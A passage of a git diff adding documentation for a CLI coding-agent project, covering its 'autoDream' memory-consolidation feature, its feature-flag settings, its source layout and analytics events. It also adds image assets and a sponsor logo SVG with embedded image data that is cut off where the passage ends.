+```
+
+- **When explicitly set**: Uses the user's value directly
+- **When not set**: Controlled by the remote GrowthBook feature flag `tengu_onyx_plover`
+
+**Key source** `src/services/autoDream/config.ts:13-21`:
+
+```typescript
+export function isAutoDreamEnabled(): boolean {
+  const setting = getInitialSettings().autoDreamEnabled
+  if (setting !== undefined) return setting
+  const gb = getFeatureValue_CACHED_MAY_BE_STALE<{ enabled?: unknown } | null>(
+    'tengu_onyx_plover', null,
+  )
+  return gb?.enabled === true
+}
+```
+
+### Remote Configuration Parameters
+
+The `tengu_onyx_plover` feature flag can configure:
+
+| Parameter | Type | Default | Description |
+|-----------|------|---------|-------------|
+| `enabled` | boolean | -- | Master feature toggle |
+| `minHours` | number | 24 | Minimum interval (hours) |
+| `minSessions` | number | 5 | Minimum session count |
+
+### Manual Trigger: `/dream`
+
+In addition to automatic triggering, users can manually trigger memory consolidation via the `/dream` command. Manual triggers call `recordConsolidation()` to update the lock file timestamp.
+
+---
+
+## 7. Relationship with extractMemories
+
+| Dimension | extractMemories | autoDream |
+|-----------|----------------|-----------|
+| **Trigger frequency** | After each conversation turn | Every 24h + 5 sessions |
+| **Trigger location** | `stopHooks.ts` L149 | `stopHooks.ts` L155 |
+| **Processing scope** | Recent messages from the current conversation | Historical transcripts from multiple sessions |
+| **Goal** | Extract new memories | Consolidate/deduplicate/prune existing memories |
+| **Human analogy** | Jotting down notes during the day | Organizing the notebook while sleeping |
+| **Shared component** | `createAutoMemCanUseTool` | `createAutoMemCanUseTool` |
+| **Forked agent** | Max 5 turns | No turn limit |
+| **Transcript** | Not recorded (`skipTranscript`) | Not recorded (`skipTranscript`) |
+
+### Collaboration Flow
+
+```
+After each conversation turn
+    |
+extractMemories -> Extract new memory fragments -> Write *.md + MEMORY.md
+    |
+(After accumulating 24h + 5 sessions)
+    |
+autoDream -> Review all memories + session transcripts
+    |
+Merge duplicates / Fix stale data / Delete conflicts / Compress index
+    |
+MEMORY.md and topic files refreshed
+```
+
+---
+
+## 8. Source Code Navigation
+
+| File | Responsibility |
+|------|----------------|
+| `src/services/autoDream/autoDream.ts` | Main logic: gate checks, launch forked agent, progress monitoring |
+| `src/services/autoDream/config.ts` | Toggle control: settings.json or GrowthBook |
+| `src/services/autoDream/consolidationPrompt.ts` | Dream prompt: 4-phase consolidation workflow |
+| `src/services/autoDream/consolidationLock.ts` | Lock file mechanism: concurrency prevention, timestamps, rollback |
+| `src/tasks/DreamTask/DreamTask.ts` | UI task registration: state management, termination, rollback |
+| `src/tasks/pillLabel.ts` | Bottom status bar label: "dreaming" |
+| `src/components/tasks/DreamDetailDialog.tsx` | Dream detail dialog UI |
+| `src/query/stopHooks.ts` | Execution entry point: triggers after each response |
+| `src/utils/backgroundHousekeeping.ts` | Initialization entry point: `initAutoDream()` |
+| `src/services/extractMemories/extractMemories.ts` | Shared `createAutoMemCanUseTool` |
+
+---
+
+## 9. Analytics Events
+
+AutoDream records its operational state through the following events:
+
+| Event | Timing | Attached Data |
+|-------|--------|---------------|
+| `tengu_auto_dream_fired` | Dream started | `hours_since`, `sessions_since` |
+| `tengu_auto_dream_completed` | Dream completed | `cache_read`, `cache_created`, `output`, `sessions_reviewed` |
+| `tengu_auto_dream_failed` | Dream failed | -- |
diff --git a/cc-haha/docs/en/reference/project-structure.md b/cc-haha/docs/en/reference/project-structure.md
new file mode 100644
index 0000000..d0f071e
--- /dev/null
+++ b/cc-haha/docs/en/reference/project-structure.md
@@ -0,0 +1,22 @@
+# Project Structure
+
+
+```text
+bin/claude-haha          # Entry script
+preload.ts               # Bun preload (sets MACRO globals)
+.env.example             # Environment variable template
+src/
+├── entrypoints/cli.tsx  # Main CLI entry
+├── main.tsx             # Main TUI logic (Commander.js + React/Ink)
+├── localRecoveryCli.ts  # Fallback Recovery CLI
+├── setup.ts             # Startup initialization
+├── screens/REPL.tsx     # Interactive REPL screen
+├── ink/                 # Ink terminal rendering engine
+├── components/          # UI components
+├── tools/               # Agent tools (Bash, Edit, Grep, etc.)
+├── commands/            # Slash commands (/commit, /review, etc.)
+├── skills/              # Skill system
+├── services/            # Service layer (API, MCP, OAuth, etc.)
+├── hooks/               # React hooks
+└── utils/               # Utility functions
+```
diff --git a/cc-haha/docs/features/images/02-computer-use-security-gates.jpg b/cc-haha/docs/features/images/02-computer-use-security-gates.jpg
new file mode 100644
index 0000000..95a29b9
Binary files /dev/null and b/cc-haha/docs/features/images/02-computer-use-security-gates.jpg differ
diff --git a/cc-haha/docs/images/banner.png b/cc-haha/docs/images/banner.png
new file mode 100644
index 0000000..8a188b9
Binary files /dev/null and b/cc-haha/docs/images/banner.png differ
diff --git a/cc-haha/docs/images/desktop_ui/02_edit_code.png b/cc-haha/docs/images/desktop_ui/02_edit_code.png
new file mode 100644
index 0000000..6b4b9c5
Binary files /dev/null and b/cc-haha/docs/images/desktop_ui/02_edit_code.png differ
diff --git a/cc-haha/docs/images/im/feishu/01-create-app-entry.png b/cc-haha/docs/images/im/feishu/01-create-app-entry.png
new file mode 100644
index 0000000..256bc12
Binary files /dev/null and b/cc-haha/docs/images/im/feishu/01-create-app-entry.png differ
diff --git a/cc-haha/docs/images/sponsors/shengsuanyun-logo.svg b/cc-haha/docs/images/sponsors/shengsuanyun-logo.svg
new file mode 100644
index 0000000..e9ceb5b
--- /dev/null
+++ b/cc-haha/docs/images/sponsors/shengsuanyun-logo.svg
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg id="_图层_1" data-name="图层 1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 1237 696">
+  <image width="1237" height="696" xlink:href="data:image/png;base64,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